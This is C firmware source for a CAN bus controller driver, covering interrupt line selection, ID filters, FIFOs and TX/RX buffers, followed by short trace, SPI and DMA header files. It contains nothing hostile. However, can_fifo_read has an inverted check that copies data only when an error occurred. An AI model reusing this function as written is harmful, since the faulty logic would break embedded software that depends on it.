BITS_INTERRUPT_LINE_SELECT_EWLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_ERR_PASSIVE:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_EPLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_EPLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_ERR_LOGGING_OVERFLOW:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_ELOLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_ELOLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_BIT_ERR_UNCORRECTED:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_BEULS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_BEULS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_BIT_ERR_CORRECTED:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_BECLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_BECLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_RAM_ACCESS_FAIL:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_MRAFLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_MRAFLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_TIMESTAMP_WRAP_AROUND:
val = raw_readl(sel0);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TSWLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TSWLS_SHIFT;
raw_writel(sel0, val);
break;
case CAN_INT_RX_NEW_MESSAGE:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_RXBNLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_RXBNLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_RX_FIFO_LOST:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_RXFLLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_RXFLLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_RX_FIFO_REAL_FULL:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_RXFFLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_RXFFLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_RX_FIFO_FULL:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_RXFWLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_RXFWLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_RX_FIFO_EMPTY:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_RXFELS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_RXFELS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_CANCEL_FINISHED:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TXBCLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TXBCLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_COMPLISHED:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TXBTLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TXBTLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_FIFO_LOST:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TXFLLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TXFLLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_FIFO_REAL_FULL:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TXFFLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TXFFLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_FIFO_FULL:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TXFWLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TXFWLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_FIFO_EMPTY:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TXFELS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TXFELS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_EVENT_FIFO_LOST:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TEFLLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TEFLLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_EVENT_FIFO_REAL_FULL:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TEFFLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TEFFLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_EVENT_FIFO_FULL:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TEFWLS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TEFWLS_SHIFT;
raw_writel(sel1, val);
break;
case CAN_INT_TX_EVENT_FIFO_EMPTY:
val = raw_readl(sel1);
val |= (int_line & BITS_INTERRUPT_LINE_SELECT_TEFELS_MASK) << \
BITS_INTERRUPT_LINE_SELECT_TEFELS_SHIFT;
raw_writel(sel1, val);
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t can_interrupt_line_enable(can_t *can, uint32_t int_line, uint32_t enable)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_INTERRUPT_LINE_ENABLE_OFFSET + can->base;
val = raw_readl(reg);
if (enable) {
val |= 1 << (int_line & 0x3);
} else {
val &= ~( 1 << (int_line & 0x3));
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_id_filter_standard_element(can_t *can, uint32_t index, can_id_filter_element_t *ele_cfg)
{
int32_t result = E_OK;
uint32_t sub_element = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
sub_element |= ((ele_cfg->filter_type & BITS_STD_ID_FILTER_ELEMENT_SFT_MSASK) << \
BITS_STD_ID_FILTER_ELEMENT_SFT_SHIFT);
sub_element |= ((ele_cfg->filter_cfg & BITS_STD_ID_FILTER_ELEMENT_SFEC_MASK) << \
BITS_STD_ID_FILTER_ELEMENT_SFEC_SHIT);
sub_element |= ((ele_cfg->filter_id0 & BITS_STD_ID_FILTER_ELEMENT_SFID0_MASK) << \
BITS_STD_ID_FILTER_ELEMENT_SFID0_SHIFT);
sub_element |= ((ele_cfg->filter_id1 & BITS_STD_ID_FILTER_ELEMENT_SFID1_MASK) << \
BITS_STD_ID_FILTER_ELEMENT_SFID1_SHIFT);
uint32_t reg = can->base + REG_CAN_STD_ID_FILTER_OFFSET + (index << 2);
raw_writel(reg, sub_element);
}
return result;
}
static int32_t can_id_filter_extended_element(can_t *can, uint32_t index, can_id_filter_element_t *ele_cfg)
{
int32_t result = E_OK;
uint32_t element_f0 = 0, element_f1 = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = can->base + REG_CAN_EXT_ID_FILTER_OFFSET + (index << 3);
element_f0 |= ((ele_cfg->filter_type & BITS_EXT_ID_FILTER_ELEMENT_EFT_MASK) << \
BITS_EXT_ID_FILTER_ELEMENT_EFT_SHIFT);
element_f0 |= ((ele_cfg->filter_id0 & BITS_EXT_ID_FILTER_ELEMENT_EFID0_MASK) << \
BITS_EXT_ID_FILTER_ELEMENT_EFID0_SHIFT);
element_f1 |= ((ele_cfg->filter_cfg & BITS_EXT_ID_FILTER_ELEMENT_EFEC_MASK) << \
BITS_EXT_ID_FILTER_ELEMENT_EFEC_SHIFT);
element_f1 |= ((ele_cfg->filter_id1 & BITS_EXT_ID_FILTER_ELEMENT_EFID1_MASK) << \
BITS_EXT_ID_FILTER_ELEMENT_EFID1_SHIFT);
raw_writel(reg, element_f0);
reg += REG_CAN_EXT_ID_FILTER_ELEMENT_F1_OFFSET;
raw_writel(reg, element_f1);
}
return result;
}
static int32_t can_id_filter_element_config(can_t *can, uint32_t index, can_id_filter_element_t *ele_cfg)
{
int32_t result = E_OK;
result = can_opmode_config(can, CONFIG_MODE);
if ( (NULL == can) || (NULL == ele_cfg) || (E_OK != result)) {
result = E_PAR;
} else {
if (ele_cfg->frame_format == eSTANDARD_FRAME) {
result = can_id_filter_standard_element(can, index, ele_cfg);
} else {
result = can_id_filter_extended_element(can, index, ele_cfg);
}
}
if (E_OK == result) {
result = can_opmode_config(can, NORMAL_MODE);
}
return result;
}
static int32_t can_id_filter_standard_frame(can_t *can, can_id_filter_param_t *param)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_ID_FILTER_CTRL_OFFSET + can->base;
val = raw_readl(reg);
if (param->reject_no_match) {
val |= BIT_ID_FILTER_CTRL_RNMFS;
} else {
val &= ~BIT_ID_FILTER_CTRL_RNMFS;
}
if (param->reject_remote == eEXTENDED_FRAME) {
val |= BIT_ID_FILTER_CTRL_RRFE;
} else {
val &= ~BIT_ID_FILTER_CTRL_RRFE;
}
val |= (param->filter_size & BITS_ID_FILTER_CTRL_SIDFS_MASK);
raw_writel(reg, val);
}
return result;
}
static int32_t can_id_filter_extended_frame(can_t *can, can_id_filter_param_t *param)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_ID_FILTER_CTRL_OFFSET + can->base;
val = raw_readl(reg);
if (param->reject_no_match) {
val |= BIT_ID_FILTER_CTRL_RNMFE;
} else {
val &= ~BIT_ID_FILTER_CTRL_RNMFE;
}
if (param->reject_remote == eSTANDARD_FRAME) {
val |= BIT_ID_FILTER_CTRL_RRFS;
} else {
val &= ~BIT_ID_FILTER_CTRL_RRFS;
}
val |= (param->filter_size & BITS_ID_FILTER_CTRL_XIDFS_MASK) << \
BITS_ID_FILTER_CTRL_XIDFS_SHIFT;
raw_writel(reg, val);
}
return result;
}
static int32_t can_extended_id_and_mask(can_t *can, uint32_t mask)
{
int32_t result = E_OK;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_EXTEND_ID_AND_MASK_OFFSET + can->base;
raw_writel(reg, mask);
}
return result;
}
static int32_t can_id_filter_config(can_t *can, can_id_filter_param_t *param)
{
int32_t result = E_OK;
result = can_opmode_config(can, CONFIG_MODE);
if ( (NULL == can) || (NULL == param) || (E_OK != result)) {
result = E_PAR;
} else {
if (param->frame_format == eSTANDARD_FRAME) {
result = can_id_filter_standard_frame(can, param);
} else {
result = can_id_filter_extended_frame(can, param);
if (E_OK == result) {
result = can_extended_id_and_mask(can, param->mask);
}
}
}
if (E_OK == result) {
result = can_opmode_config(can, NORMAL_MODE);
}
return result;
}
static int32_t can_rx_data_field_size(can_t *can, uint32_t fifo_dfs, uint32_t buf_dfs)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_RX_ELEMENT_SIZE_CFG_OFFSET + can->base;
val |= (fifo_dfs & BITS_RX_ELEMENT_SIZE_CFG_RXFDS_MASK) << \
BITS_RX_ELEMENT_SIZE_CFG_RXFDS_SHIFT;
val |= ( buf_dfs & BITS_RX_ELEMENT_SIZE_CFG_RXBDS_MASK) << \
BITS_RX_ELEMENT_SIZE_CFG_RXBDS_SHIFT;
raw_writel(reg, val);
}
return result;
}
static int32_t can_tx_data_field_size(can_t *can, uint32_t fifo_dfs, uint32_t buf_dfs)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_TX_ELEMENT_SIZE_CFG_OFFSET + can->base;
val |= (fifo_dfs & BITS_TX_ELEMENT_SIZE_CFG_TXFDS_MASK) << \
BITS_TX_ELEMENT_SIZE_CFG_TXFDS_SHIFT;
val |= (buf_dfs & BITS_TX_ELEMENT_SIZE_CFG_TXBDS_MASK) << \
BITS_TX_ELEMENT_SIZE_CFG_TXBDS_SHIFT;
raw_writel(reg, val);
}
return result;
}
static int32_t can_data_field_size(can_t *can, uint32_t rx_or_tx, uint32_t fifo_dfs, uint32_t buf_dfs)
{
int32_t result = E_OK;
result = can_opmode_config(can, CONFIG_MODE);
if (E_OK == result) {
if (rx_or_tx) {
result = can_tx_data_field_size(can, fifo_dfs, buf_dfs);
} else {
result = can_rx_data_field_size(can, fifo_dfs, buf_dfs);
}
}
result = can_opmode_config(can, NORMAL_MODE);
return result;
}
static int32_t can_rx_buffer_status(can_t *can, uint32_t buf_id)
{
int32_t result = E_OK;
if ( (NULL == can) || (buf_id > 63)) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_RX_BUFFER_STATUS0_OFFSET + can->base;
if (buf_id < 32) {
if (raw_readl(reg) & (1 << buf_id)) {
result = 1;
}
} else {
reg = REG_CAN_RX_BUFFER_STATUS1_OFFSET + can->base;
if (raw_readl(reg) & (1 << (buf_id - 32))) {
result = 1;
}
}
}
return result;
}
static int32_t can_rx_buffer_clear(can_t *can, uint32_t buf_id)
{
int32_t result = E_OK;
uint32_t reg, val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
if (buf_id < 32) {
reg = REG_CAN_RX_BUFFER_STATUS0_OFFSET + can->base;
} else if (buf_id < 64) {
reg = REG_CAN_RX_BUFFER_STATUS1_OFFSET + can->base;
buf_id -= 32;
} else {
result = E_PAR;
}
}
if (E_OK == result) {
val |= (1 << buf_id);
raw_writel(reg, val);
}
return result;
}
static int32_t can_fifo_status(can_t *can, uint32_t fifo_type, uint32_t fifo_sts)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg;
switch (fifo_type) {
case CAN_RX_FIFO:
reg = REG_CAN_RX_FIFO_STATUS_OFFSET + can->base;
break;
case CAN_TX_FIFO:
reg = REG_CAN_TX_FIFO_STATUS_OFFSET + can->base;
break;
case CAN_TX_EVENT_FIFO:
reg = REG_CAN_TX_EVENT_FIFO_STATUS_OFFSET + can->base;
break;
default:
result = E_PAR;
}
if (E_OK != result) {
goto err_handle;
}
val = raw_readl(reg);
switch (fifo_sts) {
case CAN_FIFO_ALL:
result = val;
break;
case CAN_FIFO_PUT_INDEX:
result = (val >> CAN_FIFO_STATUS_FPI_SHIFT) & \
CAN_FIFO_STATUS_FPI_MASK;
break;
case CAN_FIFO_GET_INDEX:
result = (val >> CAN_FIFO_STATUS_FGI_SHIFT) & \
CAN_FIFO_STATUS_FGI_MASK;
break;
case CAN_FIFO_LEVEL:
result = (val >> CAN_FIFO_STATUS_FLV_SHIFT) & \
CAN_FIFO_STATUS_FLV_MASK;
break;
case CAN_FIFO_MESSAGE_LOST:
result = (val & CAN_FIFO_STATUS_FML) ? (1) : (0);
break;
case CAN_FIFO_FULL:
result = (val & CAN_FIFO_STATUS_FF) ? (1) : (0);
break;
case CAN_FIFO_EMPTY:
result = (val & CAN_FIFO_STATUS_FE) ? (1) : (0);
break;
case CAN_FIFO_ACK:
result = (val & CAN_FIFO_STATUS_FACK) ? (1) : (0);
break;
default:
result = E_PAR;
}
}
err_handle:
return result;
}
static int32_t can_tx_buffer_request_pending(can_t *can, uint32_t buf_id)
{
int32_t result = E_OK;
if ((NULL == can) || (buf_id > 63)) {
result = E_PAR;
} else {
uint32_t reg;
if (buf_id < 32) {
reg = REG_CAN_TX_BUF_REQ_PENDING0_OFFSET + can->base;
} else {
reg = REG_CAN_TX_BUF_REQ_PENDING1_OFFSET + can->base;
buf_id -= 32;
}
if (E_OK == result) {
result = (raw_readl(reg) & (1 << buf_id)) ? (1) : (0);
}
}
return result;
}
static int32_t can_tx_buffer_add_request(can_t *can, uint32_t buf_id)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg;
if (buf_id < 32) {
reg = REG_CAN_TX_BUF_ADD_REQ0_OFFSET + can->base;
} else if (buf_id < 64) {
reg = REG_CAN_TX_BUF_ADD_REQ1_OFFSET + can->base;
buf_id -= 32;
} else {
result = E_PAR;
}
if (E_OK == result) {
val = raw_readl(reg);
val |= (1 << buf_id);
raw_writel(reg, val);
}
}
return result;
}
static int32_t can_tx_buffer_cancel_request(can_t *can, uint32_t buf_id)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg;
if (buf_id < 32) {
reg = REG_CAN_TX_BUF_CANCEL_REQ0_OFFSET + can->base;
} else if (buf_id < 64) {
reg = REG_CAN_TX_BUF_CANCEL_REQ1_OFFSET + can->base;
buf_id -= 32;
} else {
result = E_PAR;
}
if (E_OK == result) {
val = raw_readl(reg);
val |= (1 << buf_id);
raw_writel(reg, val);
}
}
return result;
}
static int32_t can_tx_buffer_transmission_occurred(can_t *can, uint32_t buf_id)
{
int32_t result = E_OK;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg;
if (buf_id < 32) {
reg = REG_CAN_TX_BUF_TRANS_OCCURRED0_OFFSET + can->base;
} else if (buf_id < 64) {
reg = REG_CAN_TX_BUF_TRANS_OCCURRED1_OFFSET + can->base;
buf_id -= 32;
} else {
result = E_PAR;
}
if (E_OK == result) {
result = (raw_readl(reg) & (1 << buf_id)) ? (1) : (0);
}
}
return result;
}
static int32_t can_tx_buffer_cancel_finished(can_t *can, uint32_t buf_id)
{
int32_t result = E_OK;
//uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg;
if (buf_id < 32) {
reg = REG_CAN_TX_BUF_CANCEL_FINISHED0_OFFSET + can->base;
} else if (buf_id < 64) {
reg = REG_CAN_TX_BUF_CANCEL_FINISHED1_OFFSET + can->base;
buf_id -= 32;
} else {
result = E_PAR;
}
if (E_OK == result) {
result = (raw_readl(reg) & (1 << buf_id)) ? (1) : (0);
}
}
return result;
}
static int32_t can_tx_buffer_transmission_int_enable(can_t *can, uint32_t buf_id, uint32_t enable)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg;
if (buf_id < 32) {
reg = REG_CAN_TX_BUF_TRANS_INT_EN0_OFFSET + can->base;
} else if (buf_id < 64) {
reg = REG_CAN_TX_BUF_TRANS_INT_EN1_OFFSET + can->base;
buf_id -= 32;
} else {
result = E_PAR;
}
if (E_OK == result) {
val = raw_readl(reg);
if (enable) {
val |= (1 << buf_id);
} else {
val &= ~(1 << buf_id);
}
raw_writel(reg, val);
}
}
return result;
}
static int32_t can_tx_buffer_cancel_trans_int_enable(can_t *can, uint32_t buf_id, uint32_t enable)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg;
if (buf_id < 32) {
reg = REG_CAN_TX_BUF_CANCELED_INT_EN0_OFFSET + can->base;
} else if (buf_id < 64) {
reg = REG_CAN_TX_BUF_CANCELED_INT_EN1_OFFSET + can->base;
buf_id -= 32;
} else {
result = E_PAR;
}
if (E_OK == result) {
val = raw_readl(reg);
if (enable) {
val |= (1 << buf_id);
} else {
val &= ~(1 << buf_id);
}
raw_writel(reg, val);
}
}
return result;
}
static int32_t can_rx_fifo_config(can_t *can, uint32_t watermark, uint32_t size, uint32_t mode)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_RX_FIFO_CFG_OFFSET + can->base;
val |= (watermark & BITS_RX_FIFO_CFG_RXFWM_MASK) << \
BITS_RX_FIFO_CFG_RXFWM_SHIFT;
val |= (size & BITS_RX_FIFO_CFG_RXFSZ_MASK) << \
BITS_RX_FIFO_CFG_RXFSZ_SHIFT;
if (FIFO_OVERWRITE_MODE == mode) {
val |= BIT_RX_FIFO_CFG_RXFOPM;
} else {
val &= ~BIT_RX_FIFO_CFG_RXFOPM;
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_tx_fifo_config(can_t *can, uint32_t watermark, uint32_t size, uint32_t mode)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_TX_FIFO_CFG_OFFSET + can->base;
val |= (watermark & BITS_TX_FIFO_CFG_TXFWM_MASK) << \
BITS_TX_FIFO_CFG_TXFWM_SHIFT;
val |= (size & BITS_TX_FIFO_CFG_TXFSZ_MASK) << \
BITS_TX_FIFO_CFG_TXFSZ_SHIFT;
if (FIFO_OVERWRITE_MODE == mode) {
val |= BIT_TX_FIFO_CFG_TXFOPM;
} else {
val &= ~BIT_TX_FIFO_CFG_TXFOPM;
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_tx_event_fifo_config(can_t *can, uint32_t watermark, uint32_t size, uint32_t mode)
{
int32_t result = E_OK;
uint32_t val = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
uint32_t reg = REG_CAN_TX_EVENT_FIFO_CFG_OFFSET + can->base;
val |= (watermark & BITS_TX_EVENT_FIFO_CFG_TEFWM_MASK) << \
BITS_TX_EVENT_FIFO_CFG_TEFWM_SHIFT;
val |= (size & BITS_TX_EVENT_FIFO_CFG_TEFSZ_MASK) << \
BITS_TX_EVENT_FIFO_CFG_TEFSZ_SHIFT;
if (FIFO_OVERWRITE_MODE == mode) {
val |= BIT_TX_EVENT_FIFO_CFG_TEFOPM;
} else {
val &= ~BIT_TX_EVENT_FIFO_CFG_TEFOPM;
}
raw_writel(reg, val);
}
return result;
}
static int32_t can_fifo_config(can_t *can, uint32_t fifo_type, can_fifo_param_t *param)
{
int32_t result = E_OK;
if ((NULL == can) || (NULL == param)) {
result = E_PAR;
} else {
switch (fifo_type) {
case CAN_RX_FIFO:
result = can_rx_fifo_config(can, \
param->watermark, param->size, param->mode);
break;
case CAN_TX_FIFO:
result = can_tx_fifo_config(can, \
param->watermark, param->size, param->mode);
break;
case CAN_TX_EVENT_FIFO:
result = can_tx_event_fifo_config(can, \
param->watermark, param->size, param->mode);
break;
default:
result = E_PAR;
}
}
return result;
}
static int32_t can_write_single_frame(can_t *can, uint32_t buf_id, uint32_t *buf, uint32_t frame_size)
{
int32_t result = E_OK;
uint32_t status = 0;
uint32_t status_pos = buf_id % 32;
uint32_t reg_addr = 0;
uint32_t buf_pos = REG_CAN_TX_BUFFER_OFFSET + can->base;
if ((NULL == can) || (buf_id > 63) || (NULL == buf) || (0 == frame_size)) {
result = E_PAR;
} else {
if (buf_id < 32) {
reg_addr = REG_CAN_TX_BUF_REQ_PENDING0_OFFSET + can->base;
} else {
reg_addr = REG_CAN_TX_BUF_REQ_PENDING1_OFFSET + can->base;
}
status = raw_readl(reg_addr);
if (status & (1 << status_pos)) {
result = E_DBUSY;
return result;
}
buf_pos += (buf_id * frame_size) << 2;
while (frame_size--) {
raw_writel(buf_pos, *buf++);
buf_pos += 4;
}
if (buf_id < 32) {
reg_addr = REG_CAN_TX_BUF_ADD_REQ0_OFFSET + can->base;
} else {
reg_addr = REG_CAN_TX_BUF_ADD_REQ1_OFFSET + can->base;
}
status = (1 << status_pos);
raw_writel(reg_addr, status);
}
return result;
}
static int32_t can_read_single_frame(can_t *can, uint32_t buf_id, uint32_t *buf, uint32_t frame_size)
{
int32_t result = E_OK;
uint32_t status = 0;
uint32_t status_pos = buf_id % 32;
uint32_t reg_addr = 0;
uint32_t buf_pos = REG_CAN_RX_BUFFER_OFFSET + can->base;
if ((NULL == can) || (buf_id > 63) || (NULL == buf) || (0 == frame_size)) {
result = E_PAR;
} else {
if (buf_id < 32) {
reg_addr = REG_CAN_RX_BUFFER_STATUS0_OFFSET + can->base;
} else {
reg_addr = REG_CAN_RX_BUFFER_STATUS1_OFFSET + can->base;
}
/* Read RX Buffer Status Register (RXBS0R/RXBS1R) */
status = raw_readl(reg_addr);
if (status & (1 << status_pos)) {
/* Found Data in current Buffer location
* (FW buf_id point to this position).
*/
buf_pos += (buf_id * frame_size) << 2;
while (frame_size--) {
*buf++ = raw_readl(buf_pos);
buf_pos += 4;
}
/* Clear corresponding bit in RX Status Regster (RXBS0R/RXBS1R),
* to tell HW that FW have already fetched frame in corresponding buffer location.
*/
raw_writel(reg_addr, (1 << status_pos));
} else {
/* Currently, Buffer have no data.
SO, No need to clear corresponding bit in RX Status Register (RXBS0R/RXBS1R).
*/
result = E_NODATA;
}
}
return result;
}
static int32_t can_read_single_frame_blocked(can_t *can, uint32_t buf_id, uint32_t *buf, uint32_t frame_size)
{
int32_t result = E_OK;
uint32_t status_pos = buf_id % 32;
uint32_t reg_addr = 0;
uint32_t buf_pos = REG_CAN_RX_BUFFER_OFFSET + can->base;
if ((NULL == can) || (buf_id > 63) || (NULL == buf) || (0 == frame_size)) {
result = E_PAR;
} else {
if (buf_id < 32) {
reg_addr = REG_CAN_RX_BUFFER_STATUS0_OFFSET + can->base;
} else {
reg_addr = REG_CAN_RX_BUFFER_STATUS1_OFFSET + can->base;
}
while(0 == (raw_readl(reg_addr) & (1 << status_pos)));
buf_pos += (buf_id * frame_size) << 2;
while (frame_size--) {
*buf++ = raw_readl(buf_pos);
buf_pos += 4;
}
raw_writel(reg_addr, (1 << status_pos));
}
return result;
}
static int32_t can_fifo_read(can_t *can, uint32_t fifo_type, uint32_t *buf, uint32_t len)
{
int32_t result = E_OK;
uint32_t reg = 0;
if ( (NULL == can) ) {
result = E_PAR;
} else {
switch (fifo_type) {
case CAN_RX_FIFO:
reg = REG_CAN_RX_FIFO_ELEMENT_OFFSET(0) + can->base;
break;
case CAN_TX_FIFO:
reg = REG_CAN_TX_FIFO_ELEMENT_OFFSET(0) + can->base;
break;
case CAN_TX_EVENT_FIFO:
reg = REG_CAN_TX_EV_FIFO_ELEMENT_OFFSET(0) + can->base;
break;
default:
result = E_PAR;
}
}
if (E_OK != result) {
while (len--) {
*buf++ = raw_readl(reg);
reg += 4;
}
}
return result;
}
static can_ops_t basic_can_ops = {
.dma_enable = can_dma_enable,
.ecc_enable = can_ecc_enable,
.reset = can_reset,
.operation_mode = can_operation_mode_config,
.tx_delay_compensation = can_transmitter_delay_compensation,
.protocol_config = can_protocol_config,
.timestamp_config = can_timestamp_config,
.timeout_config = can_timeout_config,
.baud = can_baud_rate,
.id_filter_config = can_id_filter_config,
.data_field_size = can_data_field_size,
.fifo_config = can_fifo_config,
.rx_buf_status = can_rx_buffer_status,
.rx_buf_clear = can_rx_buffer_clear,
.tx_buf_request_pending = can_tx_buffer_request_pending,
.tx_buf_add_request = can_tx_buffer_add_request,
.tx_buf_cancel_request = can_tx_buffer_cancel_request,
.tx_buf_transmission_occurred = can_tx_buffer_transmission_occurred,
.tx_buf_cancel_finished = can_tx_buffer_cancel_finished,
.tx_buf_transmission_int_enable = can_tx_buffer_transmission_int_enable,
.tx_buf_cancel_trans_int_enable = can_tx_buffer_cancel_trans_int_enable,
.fifo_status = can_fifo_status,
.fifo_read = can_fifo_read,
.sleep_ack = can_sleep_ack,
.timestamp_value = can_timestamp_counter_value,
.error_counter = can_error_counter,
.protocol_status = can_protocol_status,
.ecc_error_status = can_ecc_error_status,
.int_status = can_interrupt_status,
.int_clear = can_interrupt_clear,
.int_enable = can_interrupt_enable,
.int_line_select = can_interrupt_line_select,
.int_line_enable = can_interrupt_line_enable,
.test_transmit = can_test_transmit,
.test_receive = can_test_receive,
.write_frame = can_write_single_frame,
.read_frame = can_read_single_frame,
.read_frame_blocked = can_read_single_frame_blocked,
.version = can_version,
.id_filter_element = can_id_filter_element_config
};
int32_t can_install_ops(can_t *can)
{
int32_t result = E_OK;
if ( (NULL == can) ) {
result = E_PAR;
} else {
can->ops = (void *)&basic_can_ops;
}
return result;
}
<file_sep>#ifndef _TRACE_H_
#define _TRACE_H_
void trace_init(void);
void trace_record_error(uint8_t mod, uint8_t func, uint8_t pos, uint8_t error);
#endif
<file_sep>#ifndef _DW_SSI_OBJ_H_
#define _DW_SSI_OBJ_H_
#define DW_SPI_0_ID 0 /*!< SPI 0 id macro (master node) */
#define DW_SPI_1_ID 1 /*!< SPI 1 id macro (master node) */
#define DW_SPI_2_ID 2 /*!< SPI 1 id macro (slave node) */
#define DW_QSPI_ID 3
#define XIP_QSPI_ID 4
#define DW_SPI_NUM (3)
void *dw_ssi_get_dev(uint32_t id);
#endif
<file_sep>#ifndef _DW_DMAC_REG_H_
#define _DW_DMAC_REG_H_
#include "board.h"
#define CHIP_DMAC_BASE (REL_REGBASE_HDMA)
#define DMAC_REG_SAR(chn) (CHIP_DMAC_BASE + (chn) * 0x58)
#define DMAC_REG_DAR(chn) (CHIP_DMAC_BASE + 0x8 + (chn) * 0x58)
#define DMAC_REG_LLP(chn) (CHIP_DMAC_BASE + 0x10 + (chn) * 0x58)
#define DMAC_REG_CTL(chn) (CHIP_DMAC_BASE + 0x18 + (chn) * 0x58)
#define DMAC_REG_SSTAT(chn) (CHIP_DMAC_BASE + 0x20 + (chn) * 0x58)
#define DMAC_REG_DSTAT(chn) (CHIP_DMAC_BASE + 0x28 + (chn) * 0x58)
#define DMAC_REG_SSTATAR(chn) (CHIP_DMAC_BASE + 0x30 + (chn) * 0x58)
#define DMAC_REG_DSTATAR(chn) (CHIP_DMAC_BASE + 0x38 + (chn) * 0x58)
#define DMAC_REG_CFG(chn) (CHIP_DMAC_BASE + 0x40 + (chn) * 0x58)
#define DMAC_REG_SGR(chn) (CHIP_DMAC_BASE + 0x48 + (chn) * 0x58)
